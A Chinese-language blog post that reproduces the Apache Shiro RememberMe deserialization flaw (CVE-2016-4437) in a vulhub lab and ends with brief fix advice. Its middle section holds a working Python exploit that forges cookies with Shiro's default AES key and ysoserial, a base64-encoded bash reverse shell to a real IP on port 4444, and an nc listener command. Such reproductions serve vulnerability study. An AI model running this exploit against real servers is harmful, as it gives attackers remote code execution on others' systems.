当前位置: 首页 > news >正文

CVE-2016-4437 Apache Shiro反序列化漏洞复现

1. 简介

1.1 Apache Shiro

Apache Shiro(简称 Shiro)是一个功能强大且易于使用的 Java 安全框架,用于身份验证、授权和加密等安全功能。它提供了一套统一的安全API,可以轻松地集成到Java应用程序中。

Shiro 的主要功能包括:

  1. 身份验证:Shiro 可以处理用户身份验证,支持各种常见的认证方式,如用户名/密码、LDAP、OAuth 等。它还提供了许多可插拔的身份验证 Realm,可以根据自己的需求进行定制。

  2. 授权:Shiro 提供了基于角色和权限的授权机制。您可以定义角色和权限,并在代码中进行简单的注解或编程式授权。Shiro 还支持细粒度的权限控制,可以对单个资源进行授权。

  3. 会话管理:Shiro 可以管理用户会话,支持不同的会话存储方式,如内存、数据库、Redis 等。它提供了会话管理和集群环境下的会话共享功能。

  4. 密码加密:Shiro 提供了对密码进行加密和散列的功能,可以确保用户密码的安全性。

  5. Web集成:Shiro 提供了与 Java Web 技术的无缝集成,支持常见的 Web 框架,如Spring MVC、Struts等。

1.2 工 作 原 理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

Shiro记住用户会话功能的逻辑为:

获取RememberMe的值 —> Base64解密 —> ASE解密 –> 反序列化

在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值 2、Base 64解码 3、使用AES解密(加密密钥硬编码) 4、进行反序列化操作(未作过滤处理) 在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

1.3 漏洞描述

漏洞说明
受影响版本Apache Shiro <= 1.2.4
漏洞名称Apache Shiro 1.2.4 反序列化漏洞,即shiro-550反序列化漏洞。
漏洞编号CVE-2016-4437
危害等级高危
漏洞类型RCE

Shiro550 反序列化漏洞原理:

  • 记住我的功能开启之后,会有Cookie 数据,Cookie 数据其实就是加密后的经过序列化的用户对象,也就是二进制字节流。

  • 加密算法是AES 算法,算法很安全,但是秘钥是固定的,并且存储于源码中。

漏洞特征:

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

2.漏洞复现

手工检测出了使用了shiro框架后就开始验证是否存在漏洞了如果存在则进行漏洞利用,这里漏洞检测和利用的方式有两种,一种是使用python脚本进行验证。第二种方式是使用jar工具进行验证

2.1 搭建环境

使用vulhub进行环境搭建,cd/vulhub/shiro/CVE-2016-4437执行docker compose up -d启动漏洞环境

访问ip/8080,如下环境搭建成功

2.2 判断框架

勾选RememberMe字段,输入任意账号与密码,点击登录,返回包set-Cookie会有rememberMe=deleteMe字段,说明使用了shiro框架

2.3 漏洞验证

1. 生成反弹 Shell 命令

由于 Java 的Runtime.exec()无法直接解析|>等管道符,我们需要对 Bash 命令进行 Base64 编码。

原始命令:bash -i >& /dev/tcp/8.146.204.157/4444 0>&1

编码处理:建议使用在线工具或以下方式转换,确保命令如下:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

2. 使用脚本生成恶意 Cookie

我们需要一个 Python 脚本来完成以下工作:

生成playload脚本代码:(exp.py)

​​​​​​​

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

# 配置信息
JAR_PATH = 'ysoserial.jar' # 确保同目录下有这个文件
KEY = "kPH+bIxk5D2deZiIxcaaaA==" # Shiro 默认 Key

def get_payload(gadget, command):
# 调用 ysoserial 生成原始序列化字节
cmd = ['java', '-jar', JAR_PATH, gadget, command]
return subprocess.check_output(cmd)

def encrypt(payload):
# Shiro 固有的加密逻辑:AES-CBC 模式
key = base64.b64decode(KEY)
iv = uuid.uuid4().bytes
# PKCS7 Padding
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()

cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(payload))
return base64.b64encode(iv + ciphertext)

if __name__ == '__main__':
if len(sys.argv) < 3:
print("Usage: python3 shiro_exp.py <Gadget> <Command>")
print("Example: python3 shiro_exp.py CommonsCollections2 'touch /tmp/success'")
sys.exit(0)

gadget_name = sys.argv[1]
cmd_to_exec = sys.argv[2]

final_cookie = encrypt(get_payload(gadget_name, cmd_to_exec))
print("\n[+] 复制以下 Cookie 到请求头的 rememberMe 字段:\n")
print(final_cookie.decode())

3.监听4444端口
nc -lvvp 4444

4.运行脚本生成 Cookie:
python3 exp.py CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0Ni4yMDQuMTU3LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

5.抓包将生成的cookie前往bp替换然后重新发包

6.成功接收反弹shell

2.4使用jar自动化工具

相较于上面的python脚本,图形化工具操作起来更加的简单

输入url然后点击检测当前秘钥就会看到提示存在shiro框架

然后点击爆破就会出来

然后点击检测

再点击爆破利用链

最后在命令执行处直接执行命令成功

3.修复建议

1、升级Apache Shiro

2、部署安全产品

http://www.jsqmd.com/news/514098/

相关文章:

  • Linux 下 IDEA 开发环境一站式部署与疑难排解
  • 企业内网搞定Kubeflow v1.8:从镜像拉取到Harbor仓库配置的完整避坑记录
  • Neeshck-Z-lmage_LYX_v2创意应用:用不同LoRA风格为你的故事配图
  • 解决HTML内容精准导出难题:HtmlToWord的高效文档转换实现
  • 揭秘提示工程架构师动态上下文适配架构设计的关键环节
  • AltiumDesigner新手必看:如何快速测量两个芯片间的布线长度(附常见错误排查)
  • 救命!运维深夜守跑批?金仓并行DML封神,亿级数据写入从几小时缩至2分钟
  • 电力系统分析:Matlab/Simulink 中的多场景探索
  • AT450 A-E
  • SEC-Edgar终极指南:5分钟学会批量下载美国上市公司财报
  • PlantUML在嵌入式开发中的工程化应用实践
  • 芯片设计新手必看:CRG时钟系统从OSC到PLL的完整工作流程解析
  • OpenClaw环境迁移指南:QwQ-32B配置从云端到本地的无缝转移
  • Linux内核死锁检测:Lockdep原理与实战诊断
  • 别再手动数脉冲了!用STM32F103C8T6主从定时器模式,精准控制步进电机走位(附完整代码)
  • ABB机器人50296报警终极解决方案:SMB内存清理与RAPID程序速度自定义全流程
  • FireRedASR-AED-L赋能硬件开发:为STM32设备添加语音指令错误校验
  • GitHub 2FA失效后,如何利用SSH密钥紧急恢复账户访问
  • Conda 简要说明与常用指令
  • UML组件图实战:从零开始设计一个在线购物系统(含接口设计技巧)
  • Pixel Dimension Fissioner高质量案例:技术博客标题10维风格拓展展示
  • 直流电机双闭环调速控制系统仿真:转速电流双闭环PI控制的Matlab/Simulink之旅
  • 从零配置神州路由器IPv6路由:OSPFv3邻居建立失败的7个排查步骤
  • 学长亲荐!千笔AI,毕业论文全流程神器
  • 手把手教你设计宽带圆极化缝隙天线:从参数优化到性能测试
  • 基于vue+springboot+nodejs的高校教职工教师健康监护管理系统 企业员工健康管理系统
  • Realistic Vision V5.1 虚拟摄影棚:Vue3前端交互界面开发与实时预览实现
  • 导师严选!全学科适配的降AIGC网站 —— 千笔·专业降AIGC智能体
  • 基于STM32单片机的智能台灯系统 [单片机]-计算机毕业设计源码+LW文档
  • USB协议分析进阶:用Wireshark解码GET DESCRIPTOR请求的隐藏信息